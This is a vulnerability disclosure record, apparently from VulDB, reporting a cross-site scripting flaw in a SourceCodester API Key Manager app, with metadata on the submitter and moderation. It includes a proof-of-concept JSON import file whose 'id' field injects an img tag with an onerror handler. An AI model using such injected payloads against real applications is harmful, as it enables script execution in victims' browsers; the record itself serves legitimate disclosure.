| Title | SourceCodester API Key Manager App Using HTML, CSS and JavaScript with Source Code 0 Basic Cross Site Scripting |
|---|
| Description | The application is vulnerable as its not sanitizing the "id":"VULNERABLE", JSON parameters, when imported with a payload JSON file, the XSS is triggered on the front-end.
PAYLOAD is provided as below.
[
{
"id": "\"><img src=x onerror=prompt(1);><span data-id=\"",
"name": "XSS Test Key",
"key": "test_key_123",
"category": "other",
"tags": [],
"notes": "",
"created": "2026-01-03T23:25:48.130164Z",
"lastUsed": null,
"strength": "Weak"
}
] |
|---|
| User | Kamran Saifullah (UID 4218) |
|---|
| Submission | 01/04/2026 15:16 (9 months ago) |
|---|
| Moderation | 01/04/2026 19:07 (4 hours later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 339472 [SourceCodester API Key Manager App 1.0 Import Key cross site scripting] |
|---|
| Points | 0 |
|---|